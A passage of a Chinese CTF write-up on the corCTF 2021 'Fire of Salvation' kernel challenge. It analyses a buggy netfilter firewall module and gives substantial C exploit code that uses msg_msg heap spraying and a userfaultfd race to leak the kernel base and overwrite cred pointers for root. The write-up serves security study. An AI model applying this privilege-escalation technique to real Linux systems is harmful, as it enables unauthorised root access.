从两道0解题看Linux内核堆上msg_msg对象扩展利用
本文为看雪论坛精华文章
看雪论坛作者ID:ScUpax0s
Fire of Salvation(https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html)
Wall Of Perdition(https://syst3mfailure.io/wall-of-perdition)
Github(https://github.com/Crusaders-of-Rust/corCTF-2021-public-challenge-archive/tree/main/pwn)
1
Netfiler Hook简介
netfilter是一个用于数据包处理的框架,在正常的套接字接口之外。它有四个部分。首先,每个协议都定义了 "钩子"(IPv4定义了5个),这些钩子是数据包穿越该协议栈过程中的明确定义的hook point。在每一个点上,协议都根据数据包和hook number调用netfilter框架。
A Packet Traversing the Netfilter System:
--->[1]--->[ROUTE]--->[3]--->[4]--->
| ^
| |
| [ROUTE]
v |
[2] [5]
| ^
| |
v |
NF_INET_PER_ROUNTING NF_INET_LOCAL_IN NF_INET_FORWARD NF_INET_POST_ROUTING NF_INET_LOCAL_OUT
2
Fire of Salvation
Elastic objects in kernel have more power than you think. A kernel config file is provided as well, but some of the important options include:
CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDEN=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_FG_KASLR=y
SMEP, SMAP, and KPTI are of course on. Note that this is an easier variation of the Wall of Perdition challenge.
hint: Using the correct elastic object you can achieve powerful primitives such as arb read and arb write. While arb read for this object has been documented, arb write has not to the extent of our knowledge (it is not a 0 day tho so don't worry).
FG-KASLR (Function Granular Kernel Address Space Layout Randomization):细粒度的kaslr,函数级别上的KASLR优化。 STATIC_USERMODE_HELPER 禁掉了对于modprobe_path和core_pattern的利用(只读区域)
/*
初始化两个全局的list
firewall_rules_in:存储指向入站规则的指针
firewall_rules_out:存储指向出站规则的指针
*/
firewall_rules_in = kzalloc(sizeof(void *) * MAX_RULES, GFP_KERNEL);
firewall_rules_out = kzalloc(sizeof(void *) * MAX_RULES, GFP_KERNEL);
/*
注册hook函数
*/
if (nf_register_net_hook(&init_net, &in_hook) < 0)
{
printk(KERN_INFO "[Firewall::Error] Cannot register nf hook!\n");
return ERROR;
}
if (nf_register_net_hook(&init_net, &out_hook) < 0)
{
printk(KERN_INFO "[Firewall::Error] Cannot register nf hook!\n");
return ERROR;
}
static struct nf_hook_ops in_hook = {
.hook = firewall_inbound_hook,/* 钩子函数 */
.hooknum = NF_INET_PRE_ROUTING, /* 钩子点,NF_INET_PRE_ROUTING代表当包到达时被调用。 */
.pf = PF_INET, /* 协议族 */
.priority = NF_IP_PRI_FIRST /* 优先级 */
};
static struct nf_hook_ops out_hook = {
.hook = firewall_outbound_hook,
.hooknum = NF_INET_POST_ROUTING,
.pf = PF_INET,
.priority = NF_IP_PRI_FIRST
};
/*本函数会在包进站时被调用*/
static uint32_t firewall_inbound_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
int i;
uint32_t ret;
for (i = 0; i < MAX_RULES; i++)
{
//扫描存在的过滤规则
if (firewall_rules_in[i])
{
// 调用process_rule处理对应的数据包
ret = process_rule(skb, firewall_rules_in[i], INBOUND, i);
if (ret != SKIP)
return ret;
}
}
return NF_ACCEPT;
}
/*本函数会在包出站时被调用*/
static uint32_t firewall_outbound_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
int i;
uint32_t ret;
for (i = 0; i < MAX_RULES; i++)
{
if (firewall_rules_out[i])
{
ret = process_rule(skb, firewall_rules_out[i], OUTBOUND, i);
if (ret != SKIP)
return ret;
}
}
return NF_ACCEPT;
}
static uint32_t process_rule(struct sk_buff *skb, rule_t *rule, uint8_t type, int i)
{
struct iphdr *iph;
struct tcphdr *tcph;
struct udphdr *udph;
printk(KERN_INFO "[Firewall::Info] rule->iface: %s...\n", rule->iface);
printk(KERN_INFO "[Firewall::Info] skb->dev->name: %s...\n", skb->dev->name);
/* 比较interface是否匹配 */
if (strncmp(rule->iface, skb->dev->name, 16) != 0)
{
printk(KERN_INFO "[Firewall::Error] Rule[%d], inferface doesn't match, skipping!\n", i);
return SKIP;
}
/* 取当前的ip头 */
iph = ip_hdr(skb);
/* 如果是INBOUND过滤 */
if (type == INBOUND)
{
/* 判断是否在一个子网内? */
if ((rule->ip & rule->netmask) != (iph->saddr & rule->netmask))
{
printk(KERN_INFO "[Firewall::Error] Rule[%d], ip->saddr doesn't belong to the provided subnet, skipping!\n", i);
/* 如果不在则返回SKIP跳过 */
return SKIP;
}
}
/* 如果是OUTBOUND过滤 */
else
{
/* 判断子网合法性 */
if ((rule->ip & rule->netmask) != (iph->daddr & rule->netmask))
{
printk(KERN_INFO "[Firewall::Error] Rule[%d], ip->daddr doesn't belong to the provided subnet, skipping!\n", i);
return SKIP;
}
}
/* 如果是TCP协议 */
if ((rule->proto == IPPROTO_TCP) && (iph->protocol == IPPROTO_TCP))
{
printk(KERN_INFO "[Firewall::Info] Rule[%d], protocol is TCP\n", i);
/* 取tcp头 */
tcph = tcp_hdr(skb);
/* 检查端口合法性 */
if ((rule->port != 0) && (rule->port != tcph->dest))
{
printk(KERN_INFO "[Firewall::Error] Rule[%d], rule->port (%d) != tcph->dest (%d), skipping!\n", i, ntohs(rule->port), ntohs(tcph->dest));
return SKIP;
}
/* 判断action是否合法,只允许NF_DROP 、NF_ACCEPT */
if ((rule->action != NF_DROP) && (rule->action != NF_ACCEPT))
{
printk(KERN_INFO "[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n", i, rule->action);
return SKIP;
}
printk(KERN_INFO "[Firewall::Info] %s Rule[%d], action %d\n", (type == INBOUND) ? "Inbound" : "Outbound", i, rule->action);
return rule->action;
}
/* 如果是UDP协议 */
else if ((rule->proto == IPPROTO_UDP) && (iph->protocol == IPPROTO_UDP))
{
printk(KERN_INFO "[Firewall::Info] Rule[%d], protocol is UDP\n", i);
udph = udp_hdr(skb);
if ((rule->port != 0) && (rule->port != udph->dest))
{
printk(KERN_INFO "[Firewall::Error] Rule[%d], rule->port (%d) != udph->dest (%d), skipping!\n", i, ntohs(rule->port), ntohs(udph->dest));
return SKIP;
}
if ((rule->action != NF_DROP) && (rule->action != NF_ACCEPT))
{
printk(KERN_INFO "[Firewall::Error] Rule[%d], invalid action (%d), skipping!\n", i, rule->action);
return SKIP;
}
printk(KERN_INFO "[Firewall::Info] %s Rule[%d], action %d\n", (type == INBOUND) ? "Inbound" : "Outbound", i, rule->action);
return rule->action;
}
return SKIP;
}
static long firewall_add_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
printk(KERN_INFO "[Firewall::Info] firewall_add_rule() adding new rule!\n");
if (firewall_rules[idx] != NULL)
{
printk(KERN_INFO "[Firewall::Error] firewall_add_rule() invalid rule slot!\n");
return ERROR;
}
//在对应的idx用kzalloc分配一个rule_t,没有限制idx范围
firewall_rules[idx] = (rule_t *)kzalloc(sizeof(rule_t), GFP_KERNEL);
if (!firewall_rules[idx])
{
printk(KERN_INFO "[Firewall::Error] firewall_add_rule() allocation error!\n");
return ERROR;
}
memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
memcpy(firewall_rules[idx]->name, user_rule.name, 16);
//拷贝0x800缓冲区到对应位置
strncpy(firewall_rules[idx]->desc, user_rule.desc, DESC_MAX);
/* in4_pton将字符串转换成ipv4地址 , 检查ipv4的地址格式是否合法*/
if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
{
printk(KERN_ERR "[Firewall::Error] firewall_add_rule() invalid IP format!\n");
kfree(firewall_rules[idx]);
firewall_rules[idx] = NULL;
return ERROR;
}
/* 检查网络掩码是否合法 */
if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
{
printk(KERN_ERR "[Firewall::Error] firewall_add_rule() invalid Netmask format!\n");
kfree(firewall_rules[idx]);
firewall_rules[idx] = NULL;
return ERROR;
}
/* 将对应的user-space的信息赋值到kernel-space变量中 */
firewall_rules[idx]->proto = user_rule.proto;
firewall_rules[idx]->port = ntohs(user_rule.port);
firewall_rules[idx]->action = user_rule.action;
firewall_rules[idx]->is_duplicated = 0;
printk(KERN_ERR "[Firewall::Info] firewall_add_rule() new rule added!\n");
return SUCCESS;
}
static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
printk(KERN_INFO "[Firewall::Info] firewall_delete_rule() deleting rule!\n");
if (firewall_rules[idx] == NULL)
{
printk(KERN_INFO "[Firewall::Error] firewall_delete_rule() invalid rule slot!\n");
return ERROR;
}
kfree(firewall_rules[idx]);
firewall_rules[idx] = NULL;
return SUCCESS;
}
static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
printk(KERN_INFO "[Firewall::Info] firewall_edit_rule() editing rule!\n");
#ifdef EASY_MODE
printk(KERN_INFO "[Firewall::Error] Note that description editing is not implemented.\n");
#endif
if (firewall_rules[idx] == NULL)
{
printk(KERN_INFO "[Firewall::Error] firewall_edit_rule() invalid idx!\n");
return ERROR;
}
memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
memcpy(firewall_rules[idx]->name, user_rule.name, 16);
if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
{
printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
return ERROR;
}
if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
{
printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");
return ERROR;
}
firewall_rules[idx]->proto = user_rule.proto;
firewall_rules[idx]->port = ntohs(user_rule.port);
firewall_rules[idx]->action = user_rule.action;
printk(KERN_ERR "[Firewall::Info] firewall_edit_rule() rule edited!\n");
return SUCCESS;
}
static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
//dup与firewall_rules应该是要统一属性
uint8_t i;
rule_t **dup;
printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() duplicating rule!\n");
//选择对应的rules list
dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
if (firewall_rules[idx] == NULL)
{
printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n");
return ERROR;
}
// 如果对应的 idx 已经设置了is_duplicated标志,return ERROR
if (firewall_rules[idx]->is_duplicated)
{
printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n");
return ERROR;
}
// 扫描每个firewall_rules中每一项,设置is_duplicated = 1
// dup实际上是全局的firewall_rules_out 或者 firewall_rules_in
// 如果有list中有NULL的,那么,把pointer list中所有为NULL的entry都设置成firewall_rules[idx]?
// 实际就是用firewall_rules[idx]来填查找到的第一个NULL的,然后设置用于填充的entry is_duplicated=1
for (i = 0; i < MAX_RULES; i++)
{
if (dup[i] == NULL)
{
dup[i] = firewall_rules[idx];
firewall_rules[idx]->is_duplicated = 1;
printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule duplicated!\n");
return SUCCESS;
}
}
printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n");
return ERROR;
}
漏洞利用
利用 msg_msg 对象堆喷射构造任意读写
msg_msg 对象
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security; //无SELinux,这里为NULL
/* the actual message follows immediately */
};
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg)
#0 0xffffffff8159eb44 in do_msgsnd ()
#1 0xffffffff8146dfcf in __x64_sys_msgsnd ()
#2 0xffffffff81004ea6 in do_syscall_64 ()
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);
//获取创建该消息队列的进程的IPC命名空间
ns = current->nsproxy->ipc_ns;
//检查size,qid是否合法
if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;
//为内核态的msg分配空间,拷贝用户态数据到内核态
/*
分配的时候每次分配的长度是:alen = min(len, DATALEN_MSG),然后会计算len - alen是否大于零。
如果大于0的话,会分配多个 struct msg_msgseg *seg; 直到len-alen≤0
并且分配的多个msg_msgseg会被挂在 &msg->next 链表上,多个struct msg_msgseg之间也是以&seg->next连接的
*/
msg = load_msg(mtext, msgsz);
if (IS_ERR(msg))
return PTR_ERR(msg);
//设置message type和text size
msg->m_type = mtype;
msg->m_ts = msgsz;
rcu_read_lock();
//根据namespcae和msqid进行检查
//struct msg_queue *msq用于描述消息队列
msq = msq_obtain_object_check(ns, msqid);
if (IS_ERR(msq)) {
err = PTR_ERR(msq);
goto out_unlock1;
}
ipc_lock_object(&msq->q_perm);
for (;;) {
struct msg_sender s;
err = -EACCES;
if (ipcperms(ns, &msq->q_perm, S_IWUGO))
goto out_unlock0;
/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
err = -EIDRM;
goto out_unlock0;
}
err = security_msg_queue_msgsnd(&msq->q_perm, msg, msgflg);
if (err)
goto out_unlock0;
if (msg_fits_inqueue(msq, msgsz))
break;
/* queue full, wait: */
if (msgflg & IPC_NOWAIT) {
err = -EAGAIN;
goto out_unlock0;
}
/* enqueue the sender and prepare to block */
ss_add(msq, &s, msgsz);
if (!ipc_rcu_getref(&msq->q_perm)) {
err = -EIDRM;
goto out_unlock0;
}
ipc_unlock_object(&msq->q_perm);
rcu_read_unlock();
schedule();
rcu_read_lock();
ipc_lock_object(&msq->q_perm);
ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
err = -EIDRM;
goto out_unlock0;
}
ss_del(&s);
if (signal_pending(current)) {
err = -ERESTARTNOHAND;
goto out_unlock0;
}
}
ipc_update_pid(&msq->q_lspid, task_tgid(current));
msq->q_stime = ktime_get_real_seconds();
if (!pipelined_send(msq, msg, &wake_q)) {
/* no one is waiting for this message, enqueue it */
list_add_tail(&msg->m_list, &msq->q_messages);
msq->q_cbytes += msgsz;
msq->q_qnum++;
atomic_add(msgsz, &ns->msg_bytes);
atomic_inc(&ns->msg_hdrs);
}
err = 0;
msg = NULL;
out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (msg != NULL)
free_msg(msg);
return err;
}
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
msg = load_msg(mtext, msgsz);
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
//分配空间
msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG);
//此时的src就是用户态的mtext
//这里我们把用户态的数据拷贝进内核
if (copy_from_user(msg + 1, src, alen))
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
err = security_msg_msg_alloc(msg);
if (err)
goto out_err;
return msg;
out_err:
free_msg(msg);
return ERR_PTR(err);
}
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
struct msg_msg *load_msg(const void __user *src, size_t len)
msg = alloc_msg(len); //此时的len等于用户态传来的msgsz
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
msg_msg ----next----> msg_msgseg ----next----> msg_msgseg ----next----> msg_msgseg...
=> 0xffffffff8159e549 <+297>: rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
struct msg_msgseg *dst_pseg, *src_pseg;
size_t len = src->m_ts;
size_t alen;
if (src->m_ts > dst->m_ts)
return ERR_PTR(-EINVAL);
alen = min(len, DATALEN_MSG);
memcpy(dst + 1, src + 1, alen);
for (dst_pseg = dst->next, src_pseg = src->next;
src_pseg != NULL;
dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {
len -= alen;
alen = min(len, DATALEN_SEG);
memcpy(dst_pseg + 1, src_pseg + 1, alen);
}
dst->m_type = src->m_type;
dst->m_ts = src->m_ts;
return dst;
}
static long do_msgrcv(int msqid,
void __user *buf,
size_t bufsz,
long msgtyp,
int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t)
)
0xffffffff8159f84c <+636>: call 0xffffffff8159e5b0 <store_msg>
0xffffffff8159f851 <+641>: test eax,eax
0xffffffff8159f853 <+643>: jne 0xffffffff8159fae9 <do_msgrcv.constprop+1305>
0xffffffff8159f859 <+649>: mov rdi,r15
0xffffffff8159f85c <+652>: call 0xffffffff8159e670 <free_msg>
// msg_handler(buf, msg, bufsz)
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;
alen = min(len, DATALEN_MSG);
//首先拷贝alen长度
if (copy_to_user(dest, msg + 1, alen))
return -1;
//如果有msg_msgseg,那么紧接着dest+alen放如果有msg_msgseg
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen))
return -1;
}
return 0;
}
配合堆喷射构造OOB Read泄漏kernel base
1、首先我们创建一个正常的firewall_rule。
2、delete上一个firewall_rule。
3、从kmalloc-4k中通过创建一个msg_msg取回来free掉的firewall_rule,此时转换成了msg_msg结构。
4、在堆上喷射大量的带有全局数据的 shm_file_data 结构。
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
5、利用outbound list上存在的指针,对此时的msg_msg结构进行edit,主要目的是修改 m_ts 为一个大值。
6、调用 msgrcv 从消息队列中读取,由于此时 m_ts 被劫持为一个大值,所以我们可以进行越界读取。
7、越界读取到喷射 shm_file_data 利用其中的 init_ipc_ns 泄漏kernel base,bypass fg-kaslr。
遍历task_struct链表查找当前进程结构体
通过UAF构造arw原语劫持task_struct.cred实现权限提升
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
// 初始化buffer,大小为pagesize,并且设置对应位置的指针,准备用来改cred * 恢复userfault的区域
char uf_buffer[0x1000];
memset(uf_buffer, 0, sizeof(uf_buffer));
memcpy((void *)(uf_buffer + 0x1000-0x30), (void *)&init_cred, 8);
memcpy((void *)(uf_buffer + 0x1000-0x30 + 8), (void *)&init_cred, 8);
// 设置struct uffdio_copy 恢复userfault
uf_copy.src = (unsigned long)uf_buffer;
uf_copy.dst = FAULT_PAGE;
uf_copy.len = 0x1000;
uf_copy.mode = 0;
uf_copy.copy = 0;
if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1) // wake it up
{
perror("uffdio_copy error");
exit(-1);
}
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>
#include <byteswap.h>
#include <poll.h>
#include <assert.h>
#include <time.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/reboot.h>
#include <linux/userfaultfd.h>
#include <arpa/inet.h>
#include <sys/shm.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/fs.h>
#include <semaphore.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <pty.h>
#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad
#define PAGE_SIZE (1 << 12)
#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80
#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1
#define DESC_MAX 0x800
/* check if expr==-1 */
#define CHECK(expr) \
if((expr) ==-1){ \
do{ \
perror(#expr); \
exit(EXIT_FAILURE); \
} while (0); \
}
/* check if expr==-1 */
typedef struct
{
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
char desc[DESC_MAX];
} user_rule_t;
typedef struct
{
long mtype;
char mtext[1];
}msg;
struct list_head {
struct list_head *next, *prev;
};
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security; //无SELinux,这里为NULL
/* the actual message follows immediately */
};
int fd;
char buf[DESC_MAX];
char msg_buffer[0x2000]={0};
char recieved[0x2000];
uint64_t init_ipc_ns=0;
uint64_t kernel_base=0;
uint64_t init_task=0;
uint64_t init_cred=0;
pthread_t thr;
uint64_t attack_addr ;
void *arb_write(void *arg);
void debug(){
puts("debug()");
getchar();
}
void gen_dot_notation(char *buf, uint32_t val)
{
sprintf(buf, "%d.%d.%d.%d", val & 0x000000FF, (val & 0x0000FF00) >> 8, (val & 0x00FF0000) >> 16, (val & 0xFF000000) >> 24);
return;
}
void generate(char *input, user_rule_t *req)
{
char addr[0x10];
uint32_t ip = *(uint32_t *)&input[0x20];
uint32_t netmask = *(uint32_t *)&input[0x24];
memset(addr, 0, sizeof(addr));
gen_dot_notation(addr, ip);
memcpy((void *)req->ip, addr, 0x10);
memset(addr, 0, sizeof(addr));
gen_dot_notation(addr, netmask);
memcpy((void *)req->netmask, addr, 0x10);
memcpy((void *)req->iface, input, 0x10);
memcpy((void *)req->name, (void *)&input[0x10], 0x10);
memcpy((void *)&req->proto, (void *)&input[0x28], 2);
memcpy((void *)&req->port, (void *)&input[0x28 + 2], 2);
memcpy((void *)&req->action, (void *)&input[0x28 + 2 + 2], 1);
return;
}
void firewall_add_rule(uint8_t idx,uint8_t type){
int ret=0;
user_rule_t r;
memset((void *)&r, 0 , sizeof(user_rule_t));
generate(buf, &r);
r.type = type;
r.idx = idx;
ret = ioctl(fd,ADD_RULE,&r);
printf("[+] Add Size: %#lx\n",sizeof(user_rule_t));
if(ret != SUCCESS){
printf("[-] firewall_add_rule FAILED, ret_val is : %d\n",ret);
}else{
printf("[+] firewall_add_rule SUCCESS\n");
}
}
void firewall_dup_rule(uint8_t idx,uint8_t type){
int ret=0;
user_rule_t r;
memset((void *)&r, 0 , sizeof(user_rule_t));
generate(buf, &r);
r.type = type;
r.idx = idx;
ret = ioctl(fd,DUP_RULE,&r);
//printf("[+] size: %#lx\n",sizeof(user_rule_t));
if(ret != SUCCESS){
printf("[-] firewall_dup_rule FAILED, ret_val is : %d\n",ret);
}else{
printf("[+] firewall_dup_rule SUCCESS\n");
}
}
void firewall_delete_rule(uint8_t idx,uint8_t type){
int ret=0;
user_rule_t r;
memset((void *)&r, 0 , sizeof(user_rule_t));
generate(buf, &r);
r.type = type;
r.idx = idx;
ret = ioctl(fd,DELETE_RULE,&r);
//printf("[+] size: %#lx\n",sizeof(user_rule_t));
if(ret != SUCCESS){
printf("[-] firewall_delete_rule FAILED, ret_val is : %d\n",ret);
}else{
printf("[+] firewall_delete_rule SUCCESS\n");
}
}
void firewall_edit_rule(uint8_t idx,uint8_t type){
char iface[0x10];memset(iface,0x61,0x10);
char name[0x10];memset(name,0x62,0x10);
int ret=0;
user_rule_t r;
memset((void *)&r, 0 , sizeof(user_rule_t));
generate(buf, &r);
r.type = type;
r.idx = idx;
memcpy(r.iface,iface,16);
memcpy(r.name,name,16);
ret = ioctl(fd,EDIT_RULE,&r);
if(ret != SUCCESS){
printf("[-] firewall_edit_rule FAILED, ret_val is : %d\n",ret);
}else{
printf("[+] firewall_edit_rule SUCCESS\n");
}
}
void evil_edit(uint8_t idx, char *buffer, int type, int invalidate)
{
int ret;
user_rule_t rule;
memset((void *)&rule, 0, sizeof(user_rule_t));
generate(buffer, (user_rule_t *)&rule);
rule.idx = idx;
rule.type = type;
if (invalidate)
{
strcpy((void *)&rule.ip, "invalid");
strcpy((void *)&rule.netmask, "invalid");
}
ret = ioctl(fd, EDIT_RULE, (unsigned long)&rule);
if(ret != SUCCESS){
printf("[-] evil_edit FAILED, ret_val is : %d\n",ret);
}else{
printf("[+] evil_edit SUCCESS\n");
}
}
uint64_t create_message_queue(key_t key,int msgflag){
/*
A Wrapper to msgget
*/
uint64_t ret;
if ((ret = msgget(key, msgflag)) == -1)
{
perror("msgget failure");
exit(-1);
}
printf("[+] Create queue SUCCESS\n");
return ret;
}
void send_message(int msqid, void *msgp, size_t msgsz, int msgflg){
/*
A Wrapper to msgsnd
*/
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1)
{
perror("msgsend failure");
return;
}
printf("[+] msgsnd() SUCCESS\n");
return;
}
void read_from_message_queue(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg){
if (msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0)
{
perror("msgrcv");
exit(-1);
}
return;
}
void heap_spray_shmem(){
int shmid;
char *shmaddr;
for (int i = 0; i < 0x500; i++)
{
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1)
{
perror("shmget error");
exit(-1);
}
shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void*)-1)
{
perror("shmat error");
exit(-1);
}
}
printf("[+] Spray shmem SUCCESS\n");
}
/* -------------------- register userfault -------------------- */
#define FAULT_PAGE 0x61610000
static void register_userfault(void *handler){
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC |O_NONBLOCK);
CHECK(uffd);
ua.api = UFFD_API;
ua.features=0;
CHECK(ioctl(uffd, UFFDIO_API, &ua));
//mmap [FAULT_PAGE,FAULT_PAGE+0x1000] 后此时未初始化,访问会触发缺页
if (mmap((void *)FAULT_PAGE,PAGE_SIZE, PROT_READ|PROT_WRITE,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1,0)!=(void *)FAULT_PAGE){
perror("register_userfault() mmap");
exit(EXIT_FAILURE);
}
printf("[+] mmap(%#lx,%#lx)\n",FAULT_PAGE,PAGE_SIZE);
ur.range.start =(uint64_t)FAULT_PAGE; //要监视的区域
ur.range.len=PAGE_SIZE; //长度
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
CHECK(ioctl(uffd, UFFDIO_REGISTER, &ur));////注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作 , 这个ur对应一个uffd
printf("[*] register_userfault() %#lx success\n\n",FAULT_PAGE);
//开一个线程,接收错误的信号,然后处理,如果这里被注释掉,则触发userfault的线程会一直卡死
//本题在handler中完成arw
pthread_t s = pthread_create(&thr, NULL,handler, (void*)uffd); //uffd作为参数传过去
if (s!=0)
printf("[-] handler pthread_create failed");
}
/* -------------------- register userfault -------------------- */
//用于恢复userfault的handler函数,可以根据具体需求修改
/* -------------------- userfault handler -------------------- */
void* handler(void *arg){
struct uffd_msg uf_msg;
unsigned long uffd = (unsigned long)arg;
struct uffdio_copy uf_copy;
struct uffdio_range uf_range;
puts("[+] arw handler created");
puts("[+] restore stuck begin");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
uf_range.start = FAULT_PAGE;
uf_range.len = PAGE_SIZE;
//监听事件,poll会阻塞,直到收到缺页错误的消息
while(poll(&pollfd, 1, -1) > 0){
if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
{
perror("polling error");
exit(-1);
}
// 读取事件
nready = read(uffd, &uf_msg, sizeof(uf_msg));
if (nready <= 0) {
puts("[-]uf_msg error!!");
}
// 判断消息的事件类型
if(uf_msg.event != UFFD_EVENT_PAGEFAULT)
{
perror("unexpected result from event");
exit(-1);
}
// 初始化buffer,大小为pagesize,并且设置对应位置的指针,准备用来改cred * 恢复userfault的区域
char uf_buffer[0x1000];
memset(uf_buffer, 0, sizeof(uf_buffer));
memcpy((void *)(uf_buffer + 0x1000-0x30), (void *)&init_cred, 8);
memcpy((void *)(uf_buffer + 0x1000-0x30 + 8), (void *)&init_cred, 8);
// 设置struct uffdio_copy 恢复userfault
uf_copy.src = (unsigned long)uf_buffer;
uf_copy.dst = FAULT_PAGE;
uf_copy.len = 0x1000;
uf_copy.mode = 0;
